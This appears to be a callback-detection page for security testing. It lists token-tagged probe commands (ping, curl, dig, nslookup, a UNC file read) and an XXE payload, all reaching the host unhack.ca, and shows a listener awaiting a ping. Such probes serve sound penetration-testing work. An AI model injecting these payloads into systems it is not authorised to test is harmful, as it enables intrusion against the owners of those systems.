$ ping -c1 -p 00bfd05c47e10b6ca55e0098563ae400 unhack.ca
$ curl http://unhack.ca/p/bfd05c47e10b6ca55e0098563ae4
$ dig bfd05c47e10b6ca55e0098563ae4 @unhack.ca
$ dig bfd05c47e10b6ca55e0098563ae4.ns.unhack.ca
C:\> nslookup bfd05c47e10b6ca55e0098563ae4 unhack.ca
C:\> type \\unhack.ca\bfd05c47e10b6ca55e0098563ae4\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/bfd05c47e10b6ca55e0098563ae4">]>
<foo>&xxe;</foo>
Waiting for ping...